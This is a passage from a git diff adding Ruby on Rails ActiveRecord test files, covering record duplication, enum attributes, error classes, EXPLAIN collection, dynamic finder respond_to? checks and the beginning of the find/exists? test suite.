+      topic = Topic.first
+      topic.author_name = "Aaron"
+      duped = topic.dup
+
+      duped.author_name = "meow"
+
+      assert_not_equal topic.changes, duped.changes
+    end
+
+    def test_dup_attributes_are_independent
+      topic = Topic.first
+      duped = topic.dup
+
+      duped.author_name = "meow"
+      topic.author_name = "Aaron"
+
+      assert_equal "Aaron", topic.author_name
+      assert_equal "meow", duped.author_name
+    end
+
+    def test_dup_timestamps_are_cleared
+      topic = Topic.first
+      assert_not_nil topic.updated_at
+      assert_not_nil topic.created_at
+
+      # temporary change to the topic object
+      topic.updated_at -= 3.days
+
+      #dup should not preserve the timestamps if present
+      new_topic = topic.dup
+      assert_nil new_topic.updated_at
+      assert_nil new_topic.created_at
+
+      new_topic.save
+      assert_not_nil new_topic.updated_at
+      assert_not_nil new_topic.created_at
+    end
+
+    def test_dup_after_initialize_callbacks
+      topic = Topic.new
+      assert Topic.after_initialize_called
+      Topic.after_initialize_called = false
+      topic.dup
+      assert Topic.after_initialize_called
+    end
+
+    def test_dup_validity_is_independent
+      repair_validations(Topic) do
+        Topic.validates_presence_of :title
+        topic = Topic.new("title" => "Literature")
+        topic.valid?
+
+        duped = topic.dup
+        duped.title = nil
+        assert duped.invalid?
+
+        topic.title = nil
+        duped.title = "Mathematics"
+        assert topic.invalid?
+        assert duped.valid?
+      end
+    end
+
+    def test_dup_with_default_scope
+      prev_default_scopes = Topic.default_scopes
+      Topic.default_scopes = [proc { Topic.where(approved: true) }]
+      topic = Topic.new(approved: false)
+      assert !topic.dup.approved?, "should not be overridden by default scopes"
+    ensure
+      Topic.default_scopes = prev_default_scopes
+    end
+
+    def test_dup_without_primary_key
+      skip if current_adapter?(:OracleAdapter)
+
+      klass = Class.new(ActiveRecord::Base) do
+        self.table_name = "parrots_pirates"
+      end
+
+      record = klass.create!
+
+      assert_nothing_raised do
+        record.dup
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/enum_test.rb b/activerecord/test/cases/enum_test.rb
new file mode 100644
index 0000000000..abbc011b34
--- /dev/null
+++ b/activerecord/test/cases/enum_test.rb
@@ -0,0 +1,491 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/book"
+
+class EnumTest < ActiveRecord::TestCase
+  fixtures :books, :authors
+
+  setup do
+    @book = books(:awdr)
+  end
+
+  test "query state by predicate" do
+    assert @book.published?
+    assert_not @book.written?
+    assert_not @book.proposed?
+
+    assert @book.read?
+    assert @book.in_english?
+    assert @book.author_visibility_visible?
+    assert @book.illustrator_visibility_visible?
+    assert @book.with_medium_font_size?
+    assert @book.medium_to_read?
+  end
+
+  test "query state with strings" do
+    assert_equal "published", @book.status
+    assert_equal "read", @book.read_status
+    assert_equal "english", @book.language
+    assert_equal "visible", @book.author_visibility
+    assert_equal "visible", @book.illustrator_visibility
+    assert_equal "medium", @book.difficulty
+  end
+
+  test "find via scope" do
+    assert_equal @book, Book.published.first
+    assert_equal @book, Book.read.first
+    assert_equal @book, Book.in_english.first
+    assert_equal @book, Book.author_visibility_visible.first
+    assert_equal @book, Book.illustrator_visibility_visible.first
+    assert_equal @book, Book.medium_to_read.first
+    assert_equal books(:ddd), Book.forgotten.first
+    assert_equal books(:rfr), authors(:david).unpublished_books.first
+  end
+
+  test "find via where with values" do
+    published, written = Book.statuses[:published], Book.statuses[:written]
+
+    assert_equal @book, Book.where(status: published).first
+    assert_not_equal @book, Book.where(status: written).first
+    assert_equal @book, Book.where(status: [published]).first
+    assert_not_equal @book, Book.where(status: [written]).first
+    assert_not_equal @book, Book.where("status <> ?", published).first
+    assert_equal @book, Book.where("status <> ?", written).first
+  end
+
+  test "find via where with symbols" do
+    assert_equal @book, Book.where(status: :published).first
+    assert_not_equal @book, Book.where(status: :written).first
+    assert_equal @book, Book.where(status: [:published]).first
+    assert_not_equal @book, Book.where(status: [:written]).first
+    assert_not_equal @book, Book.where.not(status: :published).first
+    assert_equal @book, Book.where.not(status: :written).first
+    assert_equal books(:ddd), Book.where(read_status: :forgotten).first
+  end
+
+  test "find via where with strings" do
+    assert_equal @book, Book.where(status: "published").first
+    assert_not_equal @book, Book.where(status: "written").first
+    assert_equal @book, Book.where(status: ["published"]).first
+    assert_not_equal @book, Book.where(status: ["written"]).first
+    assert_not_equal @book, Book.where.not(status: "published").first
+    assert_equal @book, Book.where.not(status: "written").first
+    assert_equal books(:ddd), Book.where(read_status: "forgotten").first
+  end
+
+  test "build from scope" do
+    assert Book.written.build.written?
+    assert_not Book.written.build.proposed?
+  end
+
+  test "build from where" do
+    assert Book.where(status: Book.statuses[:written]).build.written?
+    assert_not Book.where(status: Book.statuses[:written]).build.proposed?
+    assert Book.where(status: :written).build.written?
+    assert_not Book.where(status: :written).build.proposed?
+    assert Book.where(status: "written").build.written?
+    assert_not Book.where(status: "written").build.proposed?
+  end
+
+  test "update by declaration" do
+    @book.written!
+    assert @book.written?
+    @book.in_english!
+    assert @book.in_english?
+    @book.author_visibility_visible!
+    assert @book.author_visibility_visible?
+  end
+
+  test "update by setter" do
+    @book.update! status: :written
+    assert @book.written?
+  end
+
+  test "enum methods are overwritable" do
+    assert_equal "do publish work...", @book.published!
+    assert @book.published?
+  end
+
+  test "direct assignment" do
+    @book.status = :written
+    assert @book.written?
+  end
+
+  test "assign string value" do
+    @book.status = "written"
+    assert @book.written?
+  end
+
+  test "enum changed attributes" do
+    old_status = @book.status
+    old_language = @book.language
+    @book.status = :proposed
+    @book.language = :spanish
+    assert_equal old_status, @book.changed_attributes[:status]
+    assert_equal old_language, @book.changed_attributes[:language]
+  end
+
+  test "enum changes" do
+    old_status = @book.status
+    old_language = @book.language
+    @book.status = :proposed
+    @book.language = :spanish
+    assert_equal [old_status, "proposed"], @book.changes[:status]
+    assert_equal [old_language, "spanish"], @book.changes[:language]
+  end
+
+  test "enum attribute was" do
+    old_status = @book.status
+    old_language = @book.language
+    @book.status = :published
+    @book.language = :spanish
+    assert_equal old_status, @book.attribute_was(:status)
+    assert_equal old_language, @book.attribute_was(:language)
+  end
+
+  test "enum attribute changed" do
+    @book.status = :proposed
+    @book.language = :french
+    assert @book.attribute_changed?(:status)
+    assert @book.attribute_changed?(:language)
+  end
+
+  test "enum attribute changed to" do
+    @book.status = :proposed
+    @book.language = :french
+    assert @book.attribute_changed?(:status, to: "proposed")
+    assert @book.attribute_changed?(:language, to: "french")
+  end
+
+  test "enum attribute changed from" do
+    old_status = @book.status
+    old_language = @book.language
+    @book.status = :proposed
+    @book.language = :french
+    assert @book.attribute_changed?(:status, from: old_status)
+    assert @book.attribute_changed?(:language, from: old_language)
+  end
+
+  test "enum attribute changed from old status to new status" do
+    old_status = @book.status
+    old_language = @book.language
+    @book.status = :proposed
+    @book.language = :french
+    assert @book.attribute_changed?(:status, from: old_status, to: "proposed")
+    assert @book.attribute_changed?(:language, from: old_language, to: "french")
+  end
+
+  test "enum didn't change" do
+    old_status = @book.status
+    @book.status = old_status
+    assert_not @book.attribute_changed?(:status)
+  end
+
+  test "persist changes that are dirty" do
+    @book.status = :proposed
+    assert @book.attribute_changed?(:status)
+    @book.status = :written
+    assert @book.attribute_changed?(:status)
+  end
+
+  test "reverted changes that are not dirty" do
+    old_status = @book.status
+    @book.status = :proposed
+    assert @book.attribute_changed?(:status)
+    @book.status = old_status
+    assert_not @book.attribute_changed?(:status)
+  end
+
+  test "reverted changes are not dirty going from nil to value and back" do
+    book = Book.create!(nullable_status: nil)
+
+    book.nullable_status = :married
+    assert book.attribute_changed?(:nullable_status)
+
+    book.nullable_status = nil
+    assert_not book.attribute_changed?(:nullable_status)
+  end
+
+  test "assign non existing value raises an error" do
+    e = assert_raises(ArgumentError) do
+      @book.status = :unknown
+    end
+    assert_equal "'unknown' is not a valid status", e.message
+  end
+
+  test "NULL values from database should be casted to nil" do
+    Book.where(id: @book.id).update_all("status = NULL")
+    assert_nil @book.reload.status
+  end
+
+  test "assign nil value" do
+    @book.status = nil
+    assert_nil @book.status
+  end
+
+  test "assign empty string value" do
+    @book.status = ""
+    assert_nil @book.status
+  end
+
+  test "assign long empty string value" do
+    @book.status = "   "
+    assert_nil @book.status
+  end
+
+  test "constant to access the mapping" do
+    assert_equal 0, Book.statuses[:proposed]
+    assert_equal 1, Book.statuses["written"]
+    assert_equal 2, Book.statuses[:published]
+  end
+
+  test "building new objects with enum scopes" do
+    assert Book.written.build.written?
+    assert Book.read.build.read?
+    assert Book.in_spanish.build.in_spanish?
+    assert Book.illustrator_visibility_invisible.build.illustrator_visibility_invisible?
+  end
+
+  test "creating new objects with enum scopes" do
+    assert Book.written.create.written?
+    assert Book.read.create.read?
+    assert Book.in_spanish.create.in_spanish?
+    assert Book.illustrator_visibility_invisible.create.illustrator_visibility_invisible?
+  end
+
+  test "_before_type_cast returns the enum label (required for form fields)" do
+    if @book.status_came_from_user?
+      assert_equal "published", @book.status_before_type_cast
+    else
+      assert_equal "published", @book.status
+    end
+  end
+
+  test "reserved enum names" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum status: [:proposed, :written, :published]
+    end
+
+    conflicts = [
+      :column,     # generates class method .columns, which conflicts with an AR method
+      :logger,     # generates #logger, which conflicts with an AR method
+      :attributes, # generates #attributes=, which conflicts with an AR method
+    ]
+
+    conflicts.each_with_index do |name, i|
+      e = assert_raises(ArgumentError) do
+        klass.class_eval { enum name => ["value_#{i}"] }
+      end
+      assert_match(/You tried to define an enum named \"#{name}\" on the model/, e.message)
+    end
+  end
+
+  test "reserved enum values" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum status: [:proposed, :written, :published]
+    end
+
+    conflicts = [
+      :new,      # generates a scope that conflicts with an AR class method
+      :valid,    # generates #valid?, which conflicts with an AR method
+      :save,     # generates #save!, which conflicts with an AR method
+      :proposed, # same value as an existing enum
+      :public, :private, :protected, # some important methods on Module and Class
+      :name, :parent, :superclass
+    ]
+
+    conflicts.each_with_index do |value, i|
+      e = assert_raises(ArgumentError, "enum value `#{value}` should not be allowed") do
+        klass.class_eval { enum "status_#{i}" => [value] }
+      end
+      assert_match(/You tried to define an enum named .* on the model/, e.message)
+    end
+  end
+
+  test "overriding enum method should not raise" do
+    assert_nothing_raised do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+
+        def published!
+          super
+          "do publish work..."
+        end
+
+        enum status: [:proposed, :written, :published]
+
+        def written!
+          super
+          "do written work..."
+        end
+      end
+    end
+  end
+
+  test "validate uniqueness" do
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; "Book"; end
+      enum status: [:proposed, :written]
+      validates_uniqueness_of :status
+    end
+    klass.delete_all
+    klass.create!(status: "proposed")
+    book = klass.new(status: "written")
+    assert book.valid?
+    book.status = "proposed"
+    assert_not book.valid?
+  end
+
+  test "validate inclusion of value in array" do
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; "Book"; end
+      enum status: [:proposed, :written]
+      validates_inclusion_of :status, in: ["written"]
+    end
+    klass.delete_all
+    invalid_book = klass.new(status: "proposed")
+    assert_not invalid_book.valid?
+    valid_book = klass.new(status: "written")
+    assert valid_book.valid?
+  end
+
+  test "enums are distinct per class" do
+    klass1 = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum status: [:proposed, :written]
+    end
+
+    klass2 = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum status: [:drafted, :uploaded]
+    end
+
+    book1 = klass1.proposed.create!
+    book1.status = :written
+    assert_equal ["proposed", "written"], book1.status_change
+
+    book2 = klass2.drafted.create!
+    book2.status = :uploaded
+    assert_equal ["drafted", "uploaded"], book2.status_change
+  end
+
+  test "enums are inheritable" do
+    subklass1 = Class.new(Book)
+
+    subklass2 = Class.new(Book) do
+      enum status: [:drafted, :uploaded]
+    end
+
+    book1 = subklass1.proposed.create!
+    book1.status = :written
+    assert_equal ["proposed", "written"], book1.status_change
+
+    book2 = subklass2.drafted.create!
+    book2.status = :uploaded
+    assert_equal ["drafted", "uploaded"], book2.status_change
+  end
+
+  test "declare multiple enums at a time" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum status: [:proposed, :written, :published],
+           nullable_status: [:single, :married]
+    end
+
+    book1 = klass.proposed.create!
+    assert book1.proposed?
+
+    book2 = klass.single.create!
+    assert book2.single?
+  end
+
+  test "enum with alias_attribute" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      alias_attribute :aliased_status, :status
+      enum aliased_status: [:proposed, :written, :published]
+    end
+
+    book = klass.proposed.create!
+    assert book.proposed?
+    assert_equal "proposed", book.aliased_status
+
+    book = klass.find(book.id)
+    assert book.proposed?
+    assert_equal "proposed", book.aliased_status
+  end
+
+  test "query state by predicate with prefix" do
+    assert @book.author_visibility_visible?
+    assert_not @book.author_visibility_invisible?
+    assert @book.illustrator_visibility_visible?
+    assert_not @book.illustrator_visibility_invisible?
+  end
+
+  test "query state by predicate with custom prefix" do
+    assert @book.in_english?
+    assert_not @book.in_spanish?
+    assert_not @book.in_french?
+  end
+
+  test "query state by predicate with custom suffix" do
+    assert     @book.medium_to_read?
+    assert_not @book.easy_to_read?
+    assert_not @book.hard_to_read?
+  end
+
+  test "enum methods with custom suffix defined" do
+    assert @book.class.respond_to?(:easy_to_read)
+    assert @book.class.respond_to?(:medium_to_read)
+    assert @book.class.respond_to?(:hard_to_read)
+
+    assert @book.respond_to?(:easy_to_read?)
+    assert @book.respond_to?(:medium_to_read?)
+    assert @book.respond_to?(:hard_to_read?)
+
+    assert @book.respond_to?(:easy_to_read!)
+    assert @book.respond_to?(:medium_to_read!)
+    assert @book.respond_to?(:hard_to_read!)
+  end
+
+  test "update enum attributes with custom suffix" do
+    @book.medium_to_read!
+    assert_not @book.easy_to_read?
+    assert     @book.medium_to_read?
+    assert_not @book.hard_to_read?
+
+    @book.easy_to_read!
+    assert     @book.easy_to_read?
+    assert_not @book.medium_to_read?
+    assert_not @book.hard_to_read?
+
+    @book.hard_to_read!
+    assert_not @book.easy_to_read?
+    assert_not @book.medium_to_read?
+    assert     @book.hard_to_read?
+  end
+
+  test "uses default status when no status is provided in fixtures" do
+    book = books(:tlg)
+    assert book.proposed?, "expected fixture to default to proposed status"
+    assert book.in_english?, "expected fixture to default to english language"
+  end
+
+  test "uses default value from database on initialization" do
+    book = Book.new
+    assert book.proposed?
+  end
+
+  test "uses default value from database on initialization when using custom mapping" do
+    book = Book.new
+    assert book.hard?
+  end
+
+  test "data type of Enum type" do
+    assert_equal :integer, Book.type_for_attribute("status").type
+  end
+end
diff --git a/activerecord/test/cases/errors_test.rb b/activerecord/test/cases/errors_test.rb
new file mode 100644
index 0000000000..b90e6a66c5
--- /dev/null
+++ b/activerecord/test/cases/errors_test.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class ErrorsTest < ActiveRecord::TestCase
+  def test_can_be_instantiated_with_no_args
+    base = ActiveRecord::ActiveRecordError
+    error_klasses = ObjectSpace.each_object(Class).select { |klass| klass < base }
+
+    (error_klasses - [ActiveRecord::AmbiguousSourceReflectionForThroughAssociation]).each do |error_klass|
+      begin
+        error_klass.new.inspect
+      rescue ArgumentError
+        raise "Instance of #{error_klass} can't be initialized with no arguments"
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/explain_subscriber_test.rb b/activerecord/test/cases/explain_subscriber_test.rb
new file mode 100644
index 0000000000..fb698c47cd
--- /dev/null
+++ b/activerecord/test/cases/explain_subscriber_test.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_record/explain_subscriber"
+require "active_record/explain_registry"
+
+if ActiveRecord::Base.connection.supports_explain?
+  class ExplainSubscriberTest < ActiveRecord::TestCase
+    SUBSCRIBER = ActiveRecord::ExplainSubscriber.new
+
+    def setup
+      ActiveRecord::ExplainRegistry.reset
+      ActiveRecord::ExplainRegistry.collect = true
+    end
+
+    def test_collects_nothing_if_the_payload_has_an_exception
+      SUBSCRIBER.finish(nil, nil, exception: Exception.new)
+      assert queries.empty?
+    end
+
+    def test_collects_nothing_for_ignored_payloads
+      ActiveRecord::ExplainSubscriber::IGNORED_PAYLOADS.each do |ip|
+        SUBSCRIBER.finish(nil, nil, name: ip)
+      end
+      assert queries.empty?
+    end
+
+    def test_collects_nothing_if_collect_is_false
+      ActiveRecord::ExplainRegistry.collect = false
+      SUBSCRIBER.finish(nil, nil, name: "SQL", sql: "select 1 from users", binds: [1, 2])
+      assert queries.empty?
+    end
+
+    def test_collects_pairs_of_queries_and_binds
+      sql   = "select 1 from users"
+      binds = [1, 2]
+      SUBSCRIBER.finish(nil, nil, name: "SQL", sql: sql, binds: binds)
+      assert_equal 1, queries.size
+      assert_equal sql, queries[0][0]
+      assert_equal binds, queries[0][1]
+    end
+
+    def test_collects_nothing_if_the_statement_is_not_whitelisted
+      SUBSCRIBER.finish(nil, nil, name: "SQL", sql: "SHOW max_identifier_length")
+      assert queries.empty?
+    end
+
+    def test_collects_nothing_if_the_statement_is_only_partially_matched
+      SUBSCRIBER.finish(nil, nil, name: "SQL", sql: "select_db yo_mama")
+      assert queries.empty?
+    end
+
+    def test_collects_cte_queries
+      SUBSCRIBER.finish(nil, nil, name: "SQL", sql: "with s as (values(3)) select 1 from s")
+      assert_equal 1, queries.size
+    end
+
+    teardown do
+      ActiveRecord::ExplainRegistry.reset
+    end
+
+    def queries
+      ActiveRecord::ExplainRegistry.queries
+    end
+  end
+end
diff --git a/activerecord/test/cases/explain_test.rb b/activerecord/test/cases/explain_test.rb
new file mode 100644
index 0000000000..17654027a9
--- /dev/null
+++ b/activerecord/test/cases/explain_test.rb
@@ -0,0 +1,89 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/car"
+require "active_support/core_ext/string/strip"
+
+if ActiveRecord::Base.connection.supports_explain?
+  class ExplainTest < ActiveRecord::TestCase
+    fixtures :cars
+
+    def base
+      ActiveRecord::Base
+    end
+
+    def connection
+      base.connection
+    end
+
+    def test_relation_explain
+      message = Car.where(name: "honda").explain
+      assert_match(/^EXPLAIN for:/, message)
+    end
+
+    def test_collecting_queries_for_explain
+      queries = ActiveRecord::Base.collecting_queries_for_explain do
+        Car.where(name: "honda").to_a
+      end
+
+      sql, binds = queries[0]
+      assert_match "SELECT", sql
+      if binds.any?
+        assert_equal 1, binds.length
+        assert_equal "honda", binds.last.value
+      else
+        assert_match "honda", sql
+      end
+    end
+
+    def test_exec_explain_with_no_binds
+      sqls    = %w(foo bar)
+      binds   = [[], []]
+      queries = sqls.zip(binds)
+
+      stub_explain_for_query_plans do
+        expected = sqls.map { |sql| "EXPLAIN for: #{sql}\nquery plan #{sql}" }.join("\n")
+        assert_equal expected, base.exec_explain(queries)
+      end
+    end
+
+    def test_exec_explain_with_binds
+      sqls    = %w(foo bar)
+      binds   = [[bind_param("wadus", 1)], [bind_param("chaflan", 2)]]
+      queries = sqls.zip(binds)
+
+      stub_explain_for_query_plans(["query plan foo\n", "query plan bar\n"]) do
+        expected = <<-SQL.strip_heredoc
+          EXPLAIN for: #{sqls[0]} [["wadus", 1]]
+          query plan foo
+
+          EXPLAIN for: #{sqls[1]} [["chaflan", 2]]
+          query plan bar
+        SQL
+        assert_equal expected, base.exec_explain(queries)
+      end
+    end
+
+    def test_unsupported_connection_adapter
+      connection.stub(:supports_explain?, false) do
+        assert_not_called(base.logger, :warn) do
+          Car.where(name: "honda").to_a
+        end
+      end
+    end
+
+    private
+
+      def stub_explain_for_query_plans(query_plans = ["query plan foo", "query plan bar"])
+        explain_called = 0
+
+        connection.stub(:explain, proc { explain_called += 1; query_plans[explain_called - 1] }) do
+          yield
+        end
+      end
+
+      def bind_param(name, value)
+        ActiveRecord::Relation::QueryAttribute.new(name, value, ActiveRecord::Type::Value.new)
+      end
+  end
+end
diff --git a/activerecord/test/cases/finder_respond_to_test.rb b/activerecord/test/cases/finder_respond_to_test.rb
new file mode 100644
index 0000000000..4039af66d0
--- /dev/null
+++ b/activerecord/test/cases/finder_respond_to_test.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+
+class FinderRespondToTest < ActiveRecord::TestCase
+  fixtures :topics
+
+  def test_should_preserve_normal_respond_to_behaviour_on_base
+    assert_respond_to ActiveRecord::Base, :new
+    assert !ActiveRecord::Base.respond_to?(:find_by_something)
+  end
+
+  def test_should_preserve_normal_respond_to_behaviour_and_respond_to_newly_added_method
+    class << Topic; self; end.send(:define_method, :method_added_for_finder_respond_to_test) {}
+    assert_respond_to Topic, :method_added_for_finder_respond_to_test
+  ensure
+    class << Topic; self; end.send(:remove_method, :method_added_for_finder_respond_to_test)
+  end
+
+  def test_should_preserve_normal_respond_to_behaviour_and_respond_to_standard_object_method
+    assert_respond_to Topic, :to_s
+  end
+
+  def test_should_respond_to_find_by_one_attribute_before_caching
+    ensure_topic_method_is_not_cached(:find_by_title)
+    assert_respond_to Topic, :find_by_title
+  end
+
+  def test_should_respond_to_find_by_with_bang
+    ensure_topic_method_is_not_cached(:find_by_title!)
+    assert_respond_to Topic, :find_by_title!
+  end
+
+  def test_should_respond_to_find_by_two_attributes
+    ensure_topic_method_is_not_cached(:find_by_title_and_author_name)
+    assert_respond_to Topic, :find_by_title_and_author_name
+  end
+
+  def test_should_respond_to_find_all_by_an_aliased_attribute
+    ensure_topic_method_is_not_cached(:find_by_heading)
+    assert_respond_to Topic, :find_by_heading
+  end
+
+  def test_should_not_respond_to_find_by_one_missing_attribute
+    assert !Topic.respond_to?(:find_by_undertitle)
+  end
+
+  def test_should_not_respond_to_find_by_invalid_method_syntax
+    assert !Topic.respond_to?(:fail_to_find_by_title)
+    assert !Topic.respond_to?(:find_by_title?)
+    assert !Topic.respond_to?(:fail_to_find_or_create_by_title)
+    assert !Topic.respond_to?(:find_or_create_by_title?)
+  end
+
+  private
+
+    def ensure_topic_method_is_not_cached(method_id)
+      class << Topic; self; end.send(:remove_method, method_id) if Topic.public_methods.include? method_id
+    end
+end
diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb
new file mode 100644
index 0000000000..0b4dce37cc
--- /dev/null
+++ b/activerecord/test/cases/finder_test.rb
@@ -0,0 +1,1278 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/author"
+require "models/categorization"
+require "models/comment"
+require "models/company"
+require "models/tagging"
+require "models/topic"
+require "models/reply"
+require "models/entrant"
+require "models/project"
+require "models/developer"
+require "models/computer"
+require "models/customer"
+require "models/toy"
+require "models/matey"
+require "models/dog"
+require "models/car"
+require "models/tyre"
+
+class FinderTest < ActiveRecord::TestCase
+  fixtures :companies, :topics, :entrants, :developers, :developers_projects, :posts, :comments, :accounts, :authors, :author_addresses, :customers, :categories, :categorizations, :cars
+
+  def test_find_by_id_with_hash
+    assert_nothing_raised do
+      Post.find_by_id(limit: 1)
+    end
+  end
+
+  def test_find_by_title_and_id_with_hash
+    assert_nothing_raised do
+      Post.find_by_title_and_id("foo", limit: 1)
+    end
+  end
+
+  def test_find
+    assert_equal(topics(:first).title, Topic.find(1).title)
+  end
+
+  def test_find_with_proc_parameter_and_block
+    exception = assert_raises(RuntimeError) do
+      Topic.all.find(-> { raise "should happen" }) { |e| e.title == "non-existing-title" }
+    end
+    assert_equal "should happen", exception.message
+
+    assert_nothing_raised do
+      Topic.all.find(-> { raise "should not happen" }) { |e| e.title == topics(:first).title }
+    end
+  end
+
+  def test_find_with_ids_returning_ordered
+    records = Topic.find([4, 2, 5])
+    assert_equal "The Fourth Topic of the day", records[0].title
+    assert_equal "The Second Topic of the day", records[1].title
+    assert_equal "The Fifth Topic of the day", records[2].title
+
+    records = Topic.find(4, 2, 5)
+    assert_equal "The Fourth Topic of the day", records[0].title
+    assert_equal "The Second Topic of the day", records[1].title
+    assert_equal "The Fifth Topic of the day", records[2].title
+
+    records = Topic.find(["4", "2", "5"])
+    assert_equal "The Fourth Topic of the day", records[0].title
+    assert_equal "The Second Topic of the day", records[1].title
+    assert_equal "The Fifth Topic of the day", records[2].title
+
+    records = Topic.find("4", "2", "5")
+    assert_equal "The Fourth Topic of the day", records[0].title
+    assert_equal "The Second Topic of the day", records[1].title
+    assert_equal "The Fifth Topic of the day", records[2].title
+  end
+
+  def test_find_with_ids_and_order_clause
+    # The order clause takes precedence over the informed ids
+    records = Topic.order(:author_name).find([5, 3, 1])
+    assert_equal "The Third Topic of the day", records[0].title
+    assert_equal "The First Topic",            records[1].title
+    assert_equal "The Fifth Topic of the day", records[2].title
+
+    records = Topic.order(:id).find([5, 3, 1])
+    assert_equal "The First Topic",            records[0].title
+    assert_equal "The Third Topic of the day", records[1].title
+    assert_equal "The Fifth Topic of the day", records[2].title
+  end
+
+  def test_find_with_ids_with_limit_and_order_clause
+    # The order clause takes precedence over the informed ids
+    records = Topic.limit(2).order(:id).find([5, 3, 1])
+    assert_equal 2, records.size
+    assert_equal "The First Topic",            records[0].title
+    assert_equal "The Third Topic of the day", records[1].title
+  end
+
+  def test_find_with_ids_and_limit
+    records = Topic.limit(3).find([3, 2, 5, 1, 4])
+    assert_equal 3, records.size
+    assert_equal "The Third Topic of the day",  records[0].title
+    assert_equal "The Second Topic of the day", records[1].title
+    assert_equal "The Fifth Topic of the day",  records[2].title
+  end
+
+  def test_find_with_ids_where_and_limit
+    # Please note that Topic 1 is the only not approved so
+    # if it were among the first 3 it would raise an ActiveRecord::RecordNotFound
+    records = Topic.where(approved: true).limit(3).find([3, 2, 5, 1, 4])
+    assert_equal 3, records.size
+    assert_equal "The Third Topic of the day",  records[0].title
+    assert_equal "The Second Topic of the day", records[1].title
+    assert_equal "The Fifth Topic of the day",  records[2].title
+  end
+
+  def test_find_with_ids_and_offset
+    records = Topic.offset(2).find([3, 2, 5, 1, 4])
+    assert_equal 3, records.size
+    assert_equal "The Fifth Topic of the day",  records[0].title
+    assert_equal "The First Topic",             records[1].title
+    assert_equal "The Fourth Topic of the day", records[2].title
+  end
+
+  def test_find_passing_active_record_object_is_not_permitted
+    assert_raises(ArgumentError) do
+      Topic.find(Topic.last)
+    end
+  end
+
+  def test_symbols_table_ref
+    gc_disabled = GC.disable
+    Post.where("author_id" => nil)  # warm up
+    x = Symbol.all_symbols.count
+    Post.where("title" => { "xxxqqqq" => "bar" })
+    assert_equal x, Symbol.all_symbols.count
+  ensure
+    GC.enable if gc_disabled == false
+  end
+
+  # find should handle strings that come from URLs
+  # (example: Category.find(params[:id]))
+  def test_find_with_string
+    assert_equal(Topic.find(1).title, Topic.find("1").title)
+  end
+
+  def test_exists
+    assert_equal true, Topic.exists?(1)
+    assert_equal true, Topic.exists?("1")
+    assert_equal true, Topic.exists?(title: "The First Topic")
+    assert_equal true, Topic.exists?(heading: "The First Topic")
+    assert_equal true, Topic.exists?(author_name: "Mary", approved: true)
+    assert_equal true, Topic.exists?(["parent_id = ?", 1])
+    assert_equal true, Topic.exists?(id: [1, 9999])
+
+    assert_equal false, Topic.exists?(45)
+    assert_equal false, Topic.exists?(Topic.new.id)
+
+    assert_raise(NoMethodError) { Topic.exists?([1, 2]) }
+  end
+
+  def test_exists_with_polymorphic_relation
+    post = Post.create!(title: "Post", body: "default", taggings: [Tagging.new(comment: "tagging comment")])
+    relation = Post.tagged_with_comment("tagging comment")
+
+    assert_equal true, relation.exists?(title: ["Post"])
+    assert_equal true, relation.exists?(["title LIKE ?", "Post%"])
+    assert_equal true, relation.exists?
+    assert_equal true, relation.exists?(post.id)
+    assert_equal true, relation.exists?(post.id.to_s)
+
+    assert_equal false, relation.exists?(false)
+  end
+
+  def test_exists_passing_active_record_object_is_not_permitted
+    assert_raises(ArgumentError) do
+      Topic.exists?(Topic.new)
+    end
+  end
+
+  def test_exists_returns_false_when_parameter_has_invalid_type
+    assert_equal false, Topic.exists?("foo")
+    assert_equal false, Topic.exists?(("9" * 53).to_i) # number that's bigger than int
+  end
+
+  def test_exists_does_not_select_columns_without_alias
+    assert_sql(/SELECT\W+1 AS one FROM ["`]topics["`]/i) do
+      Topic.exists?
+    end
+  end
+
+  def test_exists_returns_true_with_one_record_and_no_args
+    assert_equal true, Topic.exists?
+  end
+
+  def test_exists_returns_false_with_false_arg
+    assert_equal false, Topic.exists?(false)
+  end
+
+  # exists? should handle nil for id's that come from URLs and always return false
+  # (example: Topic.exists?(params[:id])) where params[:id] is nil
+  def test_exists_with_nil_arg
+    assert_equal false, Topic.exists?(nil)
+    assert_equal true, Topic.exists?
+
+    assert_equal false, Topic.first.replies.exists?(nil)
+    assert_equal true, Topic.first.replies.exists?
+  end
+
+  # Ensure +exists?+ runs without an error by excluding distinct value.
+  # See https://github.com/rails/rails/pull/26981.
+  def test_exists_with_order_and_distinct
+    assert_equal true, Topic.order(:id).distinct.exists?
+  end
+
+  # Ensure +exists?+ runs without an error by excluding order value.
+  def test_exists_with_order
+    assert_equal true, Topic.order("invalid sql here").exists?
+  end
+
+  def test_exists_with_joins
+    assert_equal true, Topic.joins(:replies).where(replies_topics: { approved: true }).order("replies_topics.created_at DESC").exists?
+  end
+
+  def test_exists_with_left_joins
+    assert_equal true, Topic.left_joins(:replies).where(replies_topics: { approved: true }).order("replies_topics.created_at DESC").exists?
+  end
+
+  def test_exists_with_eager_load
+    assert_equal true, Topic.eager_load(:replies).where(replies_topics: { approved: true }).order("replies_topics.created_at DESC").exists?
+  end
+
+  def test_exists_with_includes_limit_and_empty_result
+    assert_equal false, Topic.includes(:replies).limit(0).exists?
+    assert_equal false, Topic.includes(:replies).limit(1).where("0 = 1").exists?
+  end
+
+  def test_exists_with_distinct_association_includes_and_limit
+    author = Author.first
+    assert_equal false, author.unique_categorized_posts.includes(:special_comments).limit(0).exists?
